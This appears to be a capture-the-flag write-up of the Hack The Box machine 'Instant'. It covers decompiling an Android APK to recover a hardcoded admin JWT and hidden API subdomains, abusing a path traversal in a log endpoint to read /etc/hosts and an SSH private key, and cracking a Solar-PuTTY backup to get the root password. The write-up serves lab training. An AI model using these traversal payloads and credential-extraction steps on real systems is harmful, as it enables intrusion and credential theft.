Medium
Instant [30 pts]
Challenge Description |
Points: 30 |
Solves: 4802 |
- reverse engineering an APK reveals subdomains and API endpoints, with LFI exploited to retrieve the SSH private key
- SSH access enables further enumeration, uncovering an encrypted SolarPuTTY session backup file
- decrypting the backup using a SolarPuTTY CVE exploit reveals the root password for full system control
Enumeration
We start with nmap
scan of the box. From the output we can see that there are 2 ports open, SSH and HTTP server.
kali@kali:~/HTB/instant $ nmap -sC -sV -oA nmap/instant 10.10.11.48
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_ 256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
We add the instant.htb
domain into our /etc/hosts
to browse the page with our browser. The site consists of single page, all the links (besides the download link) point to the same page. Therefore we can try do download the application to check if we can find anything else.
The downloaded file is named instant.apk
, so we know that we are dealing with android application. We can use Apktool to disassemble the application.
Reverse engineering instant.apk
We can run apktool
directly to decompile the application with command apktool d instant.apk -o instant
, which puts the decompiled files into instant
directory. The file structure after the decomplication should look like this:
You can check this blog for more information about the decompiler output. As we can see, there is a lot of library/language implementation files (kotlin, lib
, some parts of smali
directories) and we need to find the files implemented specifically for this application. Having a little bit of experience in Android development I tried to check AndroidManifest.xml
file, which usually states the activities defined within the application. We can see that the following lines show us that the application is in com.instantlabs.instant
directory of smali
.
<activity android:exported="false" android:name="com.instantlabs.instant.ProfileActivity"/>
<activity android:exported="false" android:name="com.instantlabs.instant.RegisterActivity"/>
<activity android:exported="false" android:name="com.instantlabs.instant.LoginActivity"/>
<activity android:exported="true" android:name="com.instantlabs.instant.MainActivity">
Immediately after looking into the directory, we can see file named AdminActivites.smali
. The file contains a single function TestAdminAuthorization
. After analyzing the decompiled code we can see that this function creates a GET request to the domain http://mywalletv1.instant.htb/api/v1/view/profile
, which we’ve not yet encountered.
new-instance v1, Lokhttp3/Request$Builder;
invoke-direct {v1}, Lokhttp3/Request$Builder;-><init>()V
const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"
invoke-virtual {v1, v2}, Lokhttp3/Request$Builder;->url(Ljava/lang/String;)Lokhttp3/Request$Builder;
move-result-object v1
We add this to our /etc/hosts
file. Shortly after the functions sets the Authorization
header to a specific value (v3 string).
const-string v2, "Authorization"
const-string v3, "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
invoke-virtual {v1, v2, v3}, Lokhttp3/Request$Builder;->addHeader(Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Request$Builder;
move-result-object v1
We can use CyberChef to decode it and we get:
{
"id": 1,
"role": "Admin",
"walId": "f0eca6e5-783a-471d-9d8f-0162cbc900db",
"exp": 33259303656
}
We can try to discover more endpoints by using recursive grep
.
kali@kali:~/HTB/instant $ grep -r instant.htb .
./res/layout/activity_forgot_password.xml: <TextView android:textSize="14.0sp" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_margin="25.0dip" android:text="Please contact support@instant.htb to have your account recovered" android:fontFamily="sans-serif-condensed" android:textAlignment="center" />
./res/xml/network_security_config.xml: <domain includeSubdomains="true">mywalletv1.instant.htb</domain>
./res/xml/network_security_config.xml: <domain includeSubdomains="true">swagger-ui.instant.htb</domain>
./smali/com/instantlabs/instant/ProfileActivity.smali: const-string v7, "http://mywalletv1.instant.htb/api/v1/view/profile"
./smali/com/instantlabs/instant/RegisterActivity.smali: const-string p4, "http://mywalletv1.instant.htb/api/v1/register"
./smali/com/instantlabs/instant/TransactionActivity.smali: const-string v0, "http://mywalletv1.instant.htb/api/v1/initiate/transaction"
./smali/com/instantlabs/instant/AdminActivities.smali: const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"
./smali/com/instantlabs/instant/TransactionActivity$2.smali: const-string v1, "http://mywalletv1.instant.htb/api/v1/confirm/pin"
./smali/com/instantlabs/instant/LoginActivity.smali: const-string v1, "http://mywalletv1.instant.htb/api/v1/login"
We can see yet another domain swagger-ui.instant.htb
. Since the mywalletv1
is serving endpoints for other services, let’s try and check the newly found domain next.
Swagger-ui domain
The website contains list of all API calls, some of which we were able to discover from the source files. At the bottom of the page are definitions of structures, which are passed as parameters to these API calls.
Each endpoint can be expanded by clicking on it, which reveals details about the endpoint, as well as option to execute it. However, all of the endpoints return 401 UnAuthorized
response.
We can see the authorization button on the top of the page from the previous image. A popup is displayed after clicking on it, prompting us to input our apiKey
. After inputting the JWT token we found earlier we get authorized and can make API calls.
After exploring the endpoints, we can see that the get_api_v1_admin_read_log
endpoint takes a name (path) to a log file, which is displayed to us. We can try and use path traversal to check for other interesting files. After executing call to this endpoint with file 1.log
(which was in the example), we can see that the response contains full path to this file and also its contents:
{
"/home/shirohige/logs/1.log": [
"This is a sample log testing\n"
],
"Status": 201
}
We can test for path traversal with payload ../../../../etc/hosts
and we can confirm that the path traversal is not filtered or blocked:
{
"/home/shirohige/logs/../../../../etc/hosts": [
"127.0.0.1 localhost instant.htb mywalletv1.instant.htb swagger-ui.instant.htb\n",
"127.0.1.1 instant\n",
"\n",
"# The following lines are desirable for IPv6 capable hosts\n",
"::1 ip6-localhost ip6-loopback\n",
"fe00::0 ip6-localnet\n",
"ff00::0 ip6-mcastprefix\n",
"ff02::1 ip6-allnodes\n",
"ff02::2 ip6-allrouters\n"
],
"Status": 201
}
We can retrieve the user flag by fetching ../user.txt
, which results in:
{
"/home/shirohige/logs/../user.txt": [
"f691fd67015bacca27cea114f5b1aaf5\n"
],
"Status": 201
}
We can use this vulnerability to try and access other interesting files, such as private key to get into the box. Querying ../.ssh/id_rsa
does exactly that and returns the private key for SSH, which we can download and use to get access to the machine.
Privilege escalation
After logging in as user, we can use linpeas to enumerate escalation options. After the enumeration, we can see unusual file at /opt/backups/Solar-PuTTY/sessions-backup.dat
. It’s a encrypted SolarPuTTY session file. We can use online tool to decrypt it: ItsWatchMakerr/SolarPuttyCracker: A Python tool to crack solar putty session backups - found password estrella
and decoded the session file:
{
"Sessions": [
{
"Id": "066894ee-635c-4578-86d0-d36d4838115b",
"Ip": "10.10.11.37",
"Port": 22,
"ConnectionType": 1,
"SessionName": "Instant",
"Authentication": 0,
"CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
"AuthenticateScript": "00000000-0000-0000-0000-000000000000",
"LastTimeOpen": "0001-01-01T00:00:00",
"OpenCounter": 1,
"SerialLine": null,
"Speed": 0,
"Color": "#FF176998",
"TelnetConnectionWaitSeconds": 1,
"LoggingEnabled": false,
"RemoteDirectory": ""
}
],
"Credentials": [
{
"Id": "452ed919-530e-419b-b721-da76cbe8ed04",
"CredentialsName": "instant-root",
"Username": "root",
"Password": "12**24nzC!r0c%q12",
"PrivateKeyPath": "",
"Passphrase": "",
"PrivateKeyContent": null
}
],
"AuthScript": [],
"Groups": [],
"Tunnels": [],
"LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}
From this we can see the root password 12**24nzC!r0c%q12
, change user to root and read the flag.
Note: After completing the box and reading SolarPuttyDecrypt - VoidSec blog about the exploit I found out that metasploit already contains it and can be used instead of downloading the other version